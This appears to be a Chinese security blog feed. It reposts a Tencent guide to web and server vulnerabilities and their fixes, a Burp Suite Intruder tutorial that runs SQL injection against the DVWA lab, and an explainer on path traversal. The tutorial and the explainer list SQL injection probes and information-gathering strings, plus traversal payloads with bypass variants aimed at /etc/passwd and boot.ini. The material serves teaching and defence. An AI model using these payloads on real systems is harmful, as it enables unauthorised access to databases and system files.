描述：Tomcat在安装后存在默认页面。

检测方法：直接访问Tomcat的默认页面，若出现如下页面，则说明存在默认页面泄漏漏洞。

修复方案：删除这些与运营环境无关的目录。

3.4 Nginx

3.4.1 远程溢出漏洞

名称：Nginx远程溢出漏洞

描述：低版本的nginx存在远程溢出漏洞（详见 http://www.kb.cert.org/vuls/id/180065 的说明）。

检测方法：0.8.15, 0.7.62, 0.6.39, 0.5.38以下版本均存在此漏洞。
修复方案：升级nginx到0.8.15+/0.7.62+/0.6.39+/0.5.38+以上，或者安装官方补丁（ http://nginx.org/download/patch.180065.txt ）。
注：安装补丁后，Nginx的版本号不会变，因此腾讯安全扫描系统可能仍然会发安全漏洞告警。

3.4.2 目录浏览漏洞

名称：Nginx目录浏览漏洞

描述：如果开启nginx的目录浏览，会泄漏目录下的文件信息。

检测方法：直接访问目录，如果能看到目录下的文件信息，则说明存在目录浏览漏洞。

修复方案：不要启用nginx的目录浏览。

3.5 MySQL

3.5.1 空口令/弱口令漏洞

名称：MySQL空口令/弱口令漏洞

描述：MySQL服务器未设置root帐号口令或者某个帐号使用了简单的口令，导致可以远程不使用口令连接或者很容易猜测到帐号口令。

检测方法：使用MySQL客户端以空口令登录或者帐号/口令形式进行猜解，如果能够登录，则表示存在MySQL空口令/弱口令漏洞。如下图所示：

修复方案：在MySQL中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：
（1）大写字母
（2）小写字母
（3）特殊字符
（4）数字

3.6 FTP

3.6.1 FTP匿名登录漏洞

名称：FTP匿名登录漏洞

描述：FTP Server允许匿名登录（使用ftp或者anonymous用户，密码为空），可能会泄漏一些敏感信息。

检测方法：FTP登录时使用anonymous/ftp帐户，如果登录成功，则表示存在FTP匿名登录漏洞。

修复方案：配置FTP Server为禁止匿名登录。以vsftp2.2.0为例，需按照如下说明修改配置文件：
（1）将anonymous_enable值改为为NO（如果没有这一行，加上anonymous_enable=NO即可）。
（2）添加local_enable=YES（开启本地用户访问）。

3.7 Oracle

3.7.1 空口令漏洞

名称：Oracle空口令漏洞

描述：Oracle服务器未设置管理帐号口令，导致可以远程不使用口令控制Oracle Server。

检测方法：使用Oracle客户端以空口令登录，如果能够登录，则表示存在Oracle空口令漏洞。

修复方案：在MySQL中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：
（1）大写字母
（2）小写字母
（3）特殊字符
（4）数字

3.8 PHPMyAdmin

3.8.1 空口令漏洞

名称：PHPMyAdmin空口令漏洞

描述：PHPMyAdmin没有设置口令，任何人都可以控制数据库。

检测方法：访问http://IP/PHPMyAdmin，如果能够访问，则表示存在PHPMyAdmin空口令漏洞。

修复方案：在PHPMyAdmin中为帐号加一个安全的口令。一个安全的口令应该包含以下四项中的三项：
（1）大写字母
（2）小写字母
（3）特殊字符
（4）数字

3.9 Linux

3.9.1 默认口令漏洞

名称：默认口令漏洞

描述：第三方应用申请机器时，腾讯会为该应用分配一个跳板机帐号，以及跳板机的初始固定密码。应用拿到跳板机帐号和密码后，需要修改这个初始固定密码，否则可能导致帐号被他人利用。

检测方法：详见跳板机登录说明中关于登录的步骤。

修复方案：修改跳板机固定密码为一个安全的口令。一个安全的口令应该包含以下四项中的三项：
（1）大写字母
（2）小写字母
（3）特殊字符
（4）数字

3.9.2 Samba任意用户访问漏洞

名称：Samba任意用户访问漏洞

描述：在配置Samba Server的时候，未进行用户身份进行控制，导致任何人可以访问。

检测方法：以SMB协议连接服务器，如果可以访问，则表示存在Samba任意用户访问漏洞。如下图所示：

修复方案：为Samba Server添加一个安全的口令。一个安全的口令应该包含以下四项中的三项：
（1）大写字母
（2）小写字母
（3）特殊字符
（4）数字

3.9.3 高危端口/服务开放漏洞

名称：高危端口/服务开放漏洞

描述：
1. 高危端口：
目前默认给应用开通的端口为80，443，843，8001 – 8010，其中8001~8010同时支持TCP和UDP协议。
除这些默认开通的端口以外的其他端口可能带来安全隐患，严禁对防火墙iptables进行增删改，私自开通高危端口。如果需要开通，请通过企业QQ联系运维支持，提出申请。

2. 高危服务：
目前以下服务属于高危服务，禁止对外开放，不能申请：
SSH，Telnet，X-windows，Rlogin，ms-rpc，SNMP， FTP，TFTP，RPC，MS-RPC，NetBios，MS-SMB，MS-SQL，MYSQL, memcache，proxy类服务（http-proxy, ftp-proxy，ccproxy-http）， rsync，nfs 。

修复方案：禁止对外使用高危服务。高危端口使用前需申请。

4 Web应用程序漏洞

Web应用程序指以各种语言（PHP、JSP、C++等）开发的CGI/Web Service。

4.1 注入漏洞

4.1.1 SQL注入漏洞

名称： SQL注入漏洞（SQL Injection）

描述：Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行，导致参数中的特殊字符打破了SQL语句原有逻辑，黑客可以利用该漏洞执行任意SQL语句。

检测方法：通过修改参数来判断是否存在漏洞。

修复方案：
1. 针对ASP的防XSS库，Microsoft有提供统一的方法，具体可以参见如下链接: http://www.cnblogs.com/hcmfys/archive/2008/07/11/1240809.html
2. 针对其它语言如下细分：
在代码级对带入SQL语句中的外部参数进行转义或过滤：
（1）对于整数，判断变量是否符合[0-9]的值；其他限定值，也可以进行合法性校验
（2）对于字符串，对SQL语句特殊字符进行转义(单引号转成两个单引号，双引号转成两个双引号)。关于这点，PHP有类似的转义函数mysql_escape_string和mysql_real_escape_string。安全中心的CGI安全API（ http://soc.itil.com/sec_api/index.html ）也实现了该功能。
建议：
（1）使用腾讯CMEM存储方案；
（2)对与数据库进行交互的用户请求数据，要先做过滤，防止SQL注入。

4.1.2 XSS漏洞

名称：XSS注入漏洞（Cross-site Scripting）

描述：Web程序代码中把用户提交的参数未做过滤就直接输出到页面，参数中的特殊字符打破了HTML页面的原有逻辑，黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击等。

检测方法：通过修改参数来判断是否存在漏洞。
比如用户输入内容：’a”的时候，合法的显示是： ’a” ，合法的显示的源码是：

而存在漏洞的页面显示却是：’a”

源码是：
修复方案：
1. 开发者应该严格按照概念和术语中给出的openid和openkey校验规则判断openid和openkey是否合法，且判断其它参数的合法性，不合法不返回任何内容。

2. 严格限制URL参数输入值的格式，不能包含不必要的特殊字符（ %0d、%0a、%0D 、%0A 等）。

3. 针对ASP的防XSS库，Microsoft有提供统一的库，具体可以参见如下链接
（1）微软官网：http://msdn.microsoft.com/en-us/library/aa973813.aspx
（2）翻译总结后的：http://www.zu14.cn/2009/05/05/microsoft-anti-xss-library/

4. 具体的js方法可以参见：、http://soc.itil.com/sec_api/down_page.php?file=filter_js.zip
（1）对于用户输入的参数值展现在HTML正文中或者属性值中的情况，例如：
展现在html正文中：Un-trusted input
展现在属性值中：Un-trusted input“>
此时需要将红色的不可信内容中做如下的转码(即将< > ‘ “ ` 转成html实体)：
（2）对于用户输入落在

需要将红色的不可信内容中做如下的转码: [a-zA-Z0-9.-_,]以及ASC值大于0x80之外的所有字符转化为\x**这种形式，例如：

公司站点的修复方案：参见安全中心安全API库既需要使用正常HTML标签又要禁止危险HTML标签的富文本要使用专有的富文本filter过滤安全中心的CGI安全API（ http://soc.itil.com/sec_api/index.html ）可以统一实现XSS防御另外，在一些不需要HTML解释的页面（如纯JSON数据返回页面），可以通过设置HTTP响应中的Content-Type为application/json来实现

4.1.3 命令注入漏洞

名称：命令注入漏洞（Command Injection）

描述：Web程序代码中把用户提交的参数未做过滤就直接使用shell执行，攻击者可以执行任意系统命令。

检测方法：通过修改参数来判断是否存在漏洞。

修复方案：在代码级调用shell时，对命令行中的特殊字符进行转义（|、&、；等），防止执行其他非法命令。
PHP中可使用escapeshellarg、escapeshellcmd来转义。

4.1.4 HTTP响应头注入漏洞

名称：HTTP响应头注入漏洞（HTTP-Response-Splitting，HTTP_header_injection）

描述：Web程序代码中把用户提交的参数未做过滤就直接输出到HTTP响应头中，攻击者可以利用该漏洞来注入HTTP响应头，可以造成xss攻击、欺骗用户下载恶意可执行文件等攻击。
另外根据国际安全组织司acunetix统计，以下apache存在header injection漏洞：1.3.34/2.0.57/2.2.1。

检测方法：通过修改参数来判断是否存在漏洞。
比如国内某著名网站曾经出现过header注入漏洞，如下url：

http://www.YYYYYYYYY.com/YYYYWeb/jsp/website/agentInvoke.jsp?agentid=%0D%0AX-foo:%20bar

抓包时发现：

修复方案：
1. 在设置HTTP响应头的代码中，过滤回车换行（%0d%0a、%0D%0A)字符。
2. 不采用有漏洞版本的apache服务器，同时对参数做合法性校验以及长度限制，谨慎的根据用户所传入参数做http返回包的header设置。

4.1.5 跳转漏洞

名称：跳转漏洞

描述：Web程序直接跳转到参数中的URL，或页面引入任意的第三方URL。

检测方法：修改参数中的合法URL为非法URL。例如测试一下如下URL：

http://***.qq.com/cgi-bin/demo_es.cgi?backurl=http://www.***.com，看是否会跳转到注入的http://www.***.com站点。

修复方案：在控制页面转向的地方校验传入的URL是否为可信域名。
例如以下是一段校验是否是腾讯域名的JS函数：

function VaildURL(sUrl)
{
return (/^(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)||(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false;
}

4.1.6 XML注入漏洞

名称：XML注入漏洞

描述：Web程序代码中把用户提交的参数未做过滤就直接输出到XML中。

检测方法：通过修改参数来判断是否存在漏洞。

修复方案：在代码级输出时对XML特殊字符（“<”、“>”、“>]]”）进行转义。

4.2 信息泄漏漏洞

4.2.1 HPInfo()信息泄漏漏洞

名称：PHPInfo()信息泄漏漏洞

描述：Web站点的某些测试页面可能会使用到PHP的phpinfo()函数，会输出服务器的关键信息。如下图所示：

检测方法：访问http://[ip]/test.php 以及http://[ip]/phpinfo.php看是否成功。

修复方案：删除该PHP文件。

4.2.2 测试页面泄漏在外网漏洞

名称：测试页面泄漏在外网漏洞

描述：一些测试页面泄漏到外网，导致外界误传公司被黑客入侵。如下图所示：

1. http://parts.baby.qzoneapp.com/

2. http://parts.baby.qzoneapp.com/test.php

3. http://other.baby.qzoneapp.com

检测方法：检测页面内容，看是否是测试页面。

修复方案：删除测试页面，例如test.cgi，phpinfo.php，info.pho， .svn/entries等。

4.2.3 备份文件泄漏在外网漏洞

名称：备份文件泄漏在外网漏洞

描述：编辑器或者人员在编辑文件时，产生的临时文件，如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等，这些文件会泄漏源代码或者敏感信息。如下图所示：

泄漏源代码可以让黑客完全了解后台开发语言、架构、配置信息等。下图是国内某著名网站曾经出现过的源代码泄漏漏洞：

检测方法：在cgi文件后面添加.bak、.swp、.old、~等后缀探测。

修复方案：删除备份文件。

4.2.4 版本管理工具文件信息泄漏漏洞

名称：版本管理工具文件信息泄漏漏洞

描述：版本管理工具SVN和CVS会在所有目录添加特殊文件，如果这些文件同步到Web目录后就会泄漏路径等信息。如下图所示：

检测方法：访问http://[ip]/CVS/Entriesp 以及http://[ip]/.svn/entriesp看是否成功。

修复方案：删除SVN各目录下的.svn目录；删除CVS的CVS目录。

4.2.5 HTTP认证泄漏漏洞

名称：HTTP认证泄漏漏洞

描述：Web目录开启了HTTP Basic认证，但未做IP限制，导致攻击者可以暴力破解帐号密码。如下图所示：

修复方案：限制IP访问该目录。

4.2.6 管理后台泄漏漏洞

名称：管理后台泄漏漏洞

描述：管理后台的帐号和密码设计过于简单，容易被猜测到，导致攻击者可以暴力破解帐号密码。如下图所示：

修复方案：
1. 将管理后台的服务绑定到内网ip上，禁止开放在外网。
2. 如果该管理后台必须提供给外网访问，则未登录页面不要显示过多内容，防止敏感信息泄漏，登录帐号需经过认证，且密码设置规则尽量复杂，增加验证码，以防止暴力破解。

4.2.7 泄漏员工电子邮箱漏洞以及分机号码

名称：泄漏员工电子邮箱漏洞以及分机号码

描述：泄漏员工内部电子邮箱以及分机号码相当于泄漏了员工内部ID，可以为黑客进行社会工程学攻击提供有价值的材料，同时也为黑客暴力破解后台服务提供重要的帐号信息。

修复方案：删除页面注释等地方中出现腾讯员工电子邮箱以及分机号码的地方。

4.2.7 错误详情泄漏漏洞

名称：错误详情泄漏漏洞

描述：页面含有CGI处理错误的代码级别的详细信息，例如sql语句执行错误原因，php的错误行数等。

检测方法：修改参数为非法参数，看页面返回的错误信息是否泄漏了过于详细的代码级别的信息。

修复方案：将错误信息对用户透明化，在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因。

4.3 请求伪造漏洞

4.3.1 CSRF漏洞

名称：CSRF漏洞（Cross Site Request Forgery）

描述：用户以当前身份浏览到flash或者第三方网站时，JS/flash可以迫使用户浏览器向任意CGI发起请求，此请求包含用户身份标识，CGI如无限制则会以用户身份进行操作。

检测方法：
1. 在实际的测试过程中，测试人员需要判断操作是否为保存类操作，是否强制为POST方式传输参数。
判断方式是通过抓包工具把所有的POST参数都改成GET方式提交。
需要注意的是，这种方法只可防止图片跳转式CSRF漏洞，如果页面上有XSS漏洞话，CSRF无法防御。
2. 最简单的办法就是查阅该cgi是否带有无法预知的参数，例如随机字符串等。

修复方案：可使用以下任意办法防御CSRF攻击：
1. 在表单中添加form token（隐藏域中的随机字符串）；
2. 请求referrer验证；
3. 关键请求使用验证码。

4.3.2 JSON-hijackin漏洞

名称：JSON-hijackin漏洞

描述：CGI以JSON形式输出数据，黑客控制的第三方站点以CSRF手段强迫用户浏览器请求CGI得到JSON数据，黑客可以获取敏感信息.

检测方法：
1. 检查返回的json数据是否包含敏感信息，例如用户ID，session key，邮箱地址，手机号码，好友关系链等。
2. 确认提交是否带有无法预知的参数，例如随机字符串等。
修复方案：可使用以下任意办法防御CSRF攻击：
1. 在请求中添加form token（隐藏域中的随机字符串）；
2. 请求referrer验证。

4.4 权限控制漏洞

4.4.1 文件上传漏洞

名称：文件上传漏洞

描述：接受文件上传的Web程序未对文件类型和格式做合法性校验，导致攻击者可以上传Webshell（.php、.jsp等）或者非期望格式的文件（.jpg后缀的HTML文件）

修复方案：文件上传的CGI做到：
1. 上传文件类型和格式校验；
2. 上传文件以二进制形式下载，不提供直接访问。

4.4.2 crossdomain.xml配置不当漏洞

名称：crossdomain.xml配置不当漏洞

描述：网站根目录下的文件crossdomain.xml指明了远程flash是否可以加载当前网站的资源（图片、网页内容、flash等）。
如果配置不当，可能带来CSRF攻击。如下图所示：

检测方法：
访问http://[domain]/crossdomain.xml
修复方案：对于不需要外部加载资源的网站，crossdomain.xml中更改allow-access-from的domain属性为域名白名单。
修复大致样本参考如下（备注：示例中的app10000.qzoneapp.com请修改为自己指定的站点）：

4.4.3 flash标签配置不当漏洞

名称：flash标签配置不当漏洞

描述：网页在引入flash的时候，会通过object/embed标签，在设置的时候，如果一些属性配置不当，会带来安全问题：
1. allowScriptAccess：是否允许flash访问浏览器脚本。如果不对不信任的flash限制，默认会允许调用浏览器脚本，产生XSS漏洞。
always（默认值），总是允许；sameDomain，同域允许；never，不允许
2. allowNetworking：是否允许flash访问ActionScript中的网络API。如果不对不信任的flash限制，会带来flash弹窗、CSRF等问题。
all，允许所有功能，会带来flash弹窗危害；internal，可以向外发送请求/加载网页；none，无法进行任何网络相关动作（业务正常功能可能无法使用）

修复方案：对于不信任flash源，allowScriptAccess设置为never，allowNetworking设置为none（业务需要可以放宽为internal）。

4.4.4 embed标签配置不当漏洞

名称：embed标签配置不当漏洞

描述：网页会通过embed标签引入媒体文件（如rm、avi等视频音频），这些媒体文件中如有脚本指令（弹窗/跳转），如果没有限制就会出现安全问题。

检测方法：检查embed标签中是否有invokes标签。

修复方案：添加属性invokes值为-1。

4.4.5 并发漏洞

名称：并发漏洞

描述：攻击者通过并发http/tcp请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发的效果。
下面以简化的例子说明在交易的Web应用程序中潜在的并行问题，并涉及联合储蓄帐户中的两个用户（线程）都登录到同一帐户试图转账的情况：
帐户A有100存款，帐户B有100存款。用户1和用户2都希望从帐户A转10分到帐户B.
如果是正确的交易的结果应该是：帐户A 80分，帐户B 120分。
然而由于并发性的问题，可以得到下面的结果：
用户1检查帐户A （ = 100 分）
用户2检查帐户A （ = 100 分）
用户2需要从帐户A 拿取10 分（ = 90 分），并把它放在帐户B （ = 110 分）
用户1需要从帐户A 拿取10分（仍然认为含有100 个分）（ = 90 分），并把它放到B（ = 120 分）
结果：帐户A 90 分，帐户B 120 分。

检测方法：发送并发http/tcp请求，查看并发前后CGI 功能是否正常。例如：并发前先统计好数据，并发后再统计数据，检查2次数据是否合理。

修复方案：对数据库操作加锁。

4.4.6 Cookie安全性漏洞

名称：Cookie安全性漏洞

描述：cookie的属性设置不当可能会造成其他SNS游戏的运行出错等安全隐患。

检测方法：抓取数据包查看cookie的domain属性设定是否合理。

修复方案：对cookie字段的domain属性做严格的设定，openkey以及openid的domain只能设置到子域，禁止设置到父域qzoneapp.com。如下图所示：

4.4.7 Frame-proxy攻击漏洞

名称：Frame-proxy攻击漏洞

描述：在一些老版本浏览器（比如IE6）下，Frame-proxy攻击可以把非常驻XSS漏洞以常驻型的方式做攻击。

修复方案：qzoneapp.com域名下的应用不能再通过iframe嵌入qq.com域名下页面。

原理如下图所示，假设域名xiaoyou.qq.com底下没有任何xss漏洞，然后xiaoyou.qq.com通过iframe嵌入了一个xxx.qzoneapp.com域名。

假设qq.com的某个子域vul.qq.com存在一个非常驻的xss漏洞，那么当xxx.qzoneapp.com通过iframe嵌入vul.qq.com时，访问xiaoyou.qq.com域名的用户将受到常驻型XSS漏洞的攻击。
转载自：腾讯开发平台资料库 http://opensns.qq.com/

大话人生 2013-12-12 10:50 发表评论

（转）Burp Suite详细使用教程-Intruder模块详解

大话人生 — Mon, 30 Jul 2012 08:51:00 GMT

小编：Burp Suite是一个Web应用程序集成攻击平台，它包含了一系列burp工具，这些工具之间有大量接口可以互相通信，这样设计的目的是为了促进和提高整个攻击的效率。平台中所有工具共享同一robust框架，以便统一处理HTTP请求，持久性，认证，上游代理，日志记录，报警和可扩展性。
Burp Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web应用程序。这些不同的burp工具通过协同工作，有效的分享信息，支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。
今天freebuf会员小冰为大家带来这篇Burp Suite使用详细教程，文章条理清楚，各个细节都提到了，实为Burp Suite使用指南的一篇佳作!

0×00 题外话
最近迷上了burp suite 这个安全工具，百度了关于这个工具的教程还卖900rmb。。。ohno。本来准备买滴，但是大牛太高傲了，所以没买了。所以就有了今天这个文章。感谢帮助我的几个朋友：Mickey、安天的Sunge。
0×01 介绍
安装要求：
Java 的V1.5 + 安装（推荐使用最新的JRE ），可从这里免费
http://java.sun.com/j2se/downloads.html
Burp Suite 下载地址： http://portswigger.net/burp/download.html
入门：
安装完成后可以双击可执行的JAR 文件，如果不工作，你可以运行在命令提示符或终端输入。
命令: Java –jar burpsuite_v1.4.jar
Burp

Burp Suite 包含了一系列burp 工具，这些工具之间有大量接口可以互相通信，之所以这样设计的目的是为了促进和提高整个攻击的效率。平台中所有工具共享同一robust 框架，以便统一处理HTTP 请求，持久性，认证，上游代理，日志记录，报警和可扩展性。Burp Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web 应用程序。这些不同的burp 工具通过协同工作，有效的分享信息，支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击

Proxy 提供一个直观、友好的用户界面，他的代理服务器包含非常详细的拦截规则，并能准确分析HTTP 消息的结构与内容。

Spide 爬行蜘蛛工具，可以用来抓取目标网站，以显示网站的内容，基本结构，和其他功能。

Scanner Web 应用程序的安全漏洞进行自动发现工具。它被设计用于渗透测试，并密切与您现有的技术和方法，以适应执行手动和半自动化的Web 应用程序渗透测试。

Repeater 可让您手动重新发送单个HTTP 请求

Intruder 是burp 套件的优势,他提供一组特别有用的功能。它可以自动实施各种定制攻击，包括资源枚举、数据提取、模糊测试等常见漏洞等。在各种有效的扫描工具中，它能够以最细化、最简单的方式访问它生产的请求与响应，允许组合利用个人智能与该工具的控制优点。

Sequencer 对会话令牌，会话标识符或其他出于安全原因需要随机产生的键值的可预测性进行分析。

Decoder 转化成规范的形式编码数据，或转化成各种形式编码和散列的原始数据。它能够智能识别多种编码格式，使用启发式技术。

Comparer 是一个简单的工具，执行比较数据之间的任何两个项目（一个可视化的“差异”）。在攻击一个Web 应用程序的情况下，这一要求通常会出现当你想快速识别两个应用程序的响应之间的差异（例如，入侵者攻击的过程中收到的两种反应之间之间，或登录失败的反应使用有效的和无效的用户名）之间，或两个应用程序请求（例如，确定不同的行为引起不同的请求参数）。

0×02 配置
打开Burp 套件，配置监听端口（点击图片可放大）

一旦代理端口选择和服务在burp 套件开始，我们需要配置我们的浏览器。在大多数浏览器，你只需打开设置-网络-代理，然后告诉它使用“localhost”和端口“8080”（或任何您正在运行的端口，默认Burp： 8080）。然后保存更新的设置.

现在我们可以再浏览器中输入我们要检查的网站。你会看到burp 套件工具，proxy 选项卡上会亮起红色，表示它需要你的输入。默认行为是拦截设置为ON，这意味着它捕获的所有发送请求，然后要求用户输入，以决定是否数据包将被转发或丢弃。你可以转发，并观看页面载入目标网站。如果你嫌麻烦那你可以INTECEPTOR Off，只是手动抓取的网站，将捕获的数据发送到“历史记录”选项卡，你可以手动检查审查和测试。

关掉拦截你在历史记录里面会看到所有提交过的数据，在这里你可以看到所有request 和response 的数据。现在，我们可以右键进行其他的测试。

0×03 intruder 定制攻击自动化

今天我将利用DVWA 的SQL 注入进行测试。你可以看到下面的图片，SQL 注入很简单，我们
测试：

我们需要捕捉用户ID 请求，点击提交按钮，抓取数据包后，用有效载荷测试用户输入的ID值。
要做到这一点，我们必须确保，Burp 拦截我们的要求：

将提交用户ID 的请求，并发送到intruder 你可以看到下面：

工具已经自动为我们创造了有效载荷测试的位置。有效载荷的位置使用§符号作为每个有针对性的攻击位置的起始和结束标记。你想测试的位置前后用§§符号进行标示。
然后设置攻击类型，有4 种模式供大家选择。具体这四种模式的区别大家可以参考burp 的官方帮助文档。

Sniper 这种攻击模式可以让我们选择的攻击位置注入一个单一的有效载荷。这需要的有效载荷选项，将它们插入到选定的位置，然后重复，直到它已测试所有的有效载荷选项。如果选择多个位置，它会只适用于测试，一次一个位置。我会告诉你如何使用这个测试在几秒钟之内的SQL 漏洞的迹象

Pitchfork 这种攻击模式允许你测试多种有效载荷，最大能够自定义8 个，基于攻击位置。这种攻击模式设置不同的有效载荷为每个位置逐一同时测试。

Cluster bomb 这种攻击模式使用多种有效载荷，并允许你测试每一个可能有效载荷在每个选择的攻击位置，这意味着接下来的测试，交换任何其他有效载荷。当你有不同需要注射的地方，它将会非常的方便。

今天我选用的是sniper 模式进行测试，我会告诉你如何使用这个测试SQL 漏洞。虽然Burp自带了测试语句但是我还是希望自己手动去整理语句，下面是我自己整理的一些SQL 注入测试的语句：

' " / /* # ) ( )' (' and 1=1 and 1=2 and 1>2 and 12 +and+12 /**/and/**/1

我们来配置攻击测试。如图

由于我个人已经整理好txt 所以我直接载入我的语句

确定后，我们来到选项标签下面的grep—match 设置测试结果匹配选项。大家可以用默认的选项，也可以载入自己收集的错误信息。

设置完成后，我们就可以运行测试，点击主菜单上的intruder— start sttack

现在，这将打开一个新的窗口，在这里我们可以看到自动测试的结果

你可以清楚地看到，返回页面大小差异。后面对勾的地方，表示发现grep-match 中我们提供的文本。如果你点击一个请求，你可以查看到我们实际发送的请求，以及响应，因此，我们现在可以清楚地看到错误信息。

现在我们已经确定找到了一个潜在SQL INJECTION 漏洞。这是好的开端，但现在怎么办？现在，我们回去给入侵者设置和工作，改变我们的设置，以进一步测试和利用。现在让我们看看如果我们可以设置入侵者测试 ORDER BY 来确定快速列数。使用了同样的要求，我们将现在的位置插入语句。

ORDER BY 1— ORDER BY 2— +ORDER+BY+1— +ORDER+BY+2— /**/ORDER/**/BY/**/1— /**/ORDER/**/BY/**/2—

现在我们已经找到列数为2！您可以使用响应请求长度的线索来判断。现在我们将这个请求发送到Repeater，现在我们将使用Repeater 找到脆弱列。

好了现在我们知道脆弱的列，我们现在可以把这个请求转入到intruder 中去进行下一步的信息刺探和测试，我们插入自己整理好的一些数据库信息进行自动化测试。
basic.txt:

Version() User() Database() @@hostname @@basedir @@datadir

这里我们不用设置grep 了至于为什么大家自己想把。。。

接下来我们可以用intruder 的另一种攻击模式来检查我们其他可以利用的数据库

现在我们有基本信息，库，我们可以继续下去，重新配置intruder，从而获得所有的表名。但要记得库名要做十六进制转换，编码可以用burp 自带的decoder。

重新配置intruder—获取列名

现在就可以直接用repeater 直接发送请求获取数据了

文章在此就告一段落了。这次讲解burp-intruder 只是抛砖引玉，更多强大功能欢迎大家和我探讨。如果有朋友愿意共享1.4.0.5 专业版，麻烦递我个。Thanks

作者：小冰

版权声明：转载请注明出自: FreebuF.COM

大话人生 2012-07-30 16:51 发表评论

浅析路径遍历漏洞

大话人生 — Sun, 08 Jan 2012 16:45:00 GMT

许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：http://www.nuanyue.com/getfile=image.jgp当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“/..”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。

发现路径遍历漏洞路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”

我们可以使用 “../”来作试探，比如提交Url：“getfile=/fan/fan/*53.pdf”，而系统在解析是“d://site/test/pdf /fan/fan/../../*53.pdf”，通过“../”跳转目录“/fan”，即“d://site/test/pdf/*53.pdf”，返回了读取文件的正常的页面。

路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，“../../../../../../../etc/passwd“或者”../.. /../../boot.ini“，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。

遍历路径攻击变异
路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：

以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。

(1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：“downfile.jsp?filename= ZmFuLnBkZg- “，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别的加密方式，也是存在风险的。

(2) 编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。

(3) 目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘目录下了。

(4) 绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符，例如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如: ../../../index.jsp%20

(5) 绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可，这主要是原因Http Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。

防范遍历路径漏洞
在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况下，Web应用程序可以采取以下防御方法，最好是组合使用。

(1) 数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。

(2) Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。

总结
路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。

大话人生 2012-01-09 00:45 发表评论

OWASP WebGoat + WebScarab

大话人生 — Thu, 27 Oct 2011 22:02:00 GMT

webscarab:

https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

http://www.hacker.com.cn/article/view_14789.html

OWASP WebGoat + WebScarab

一、OWASP WebScarab Project
a tool for performing all types of security testing on web applications and web services

下载地址：OWASP Source Code Center at Sourceforge

安装方法：
Linux: java -jar ./webscarab-selfcontained-[numbers].jar
Windows: double-click the installer jar file

A Mac OS X package of the latest version can usually be found onCorsaire's download page.

You can also try theJava Web Start version, which was signed by Rogan Dawes.

演示&教程下载地址：
1.http://sourceforge.net/project/showfiles.php?group_id=233075&package_id=286265
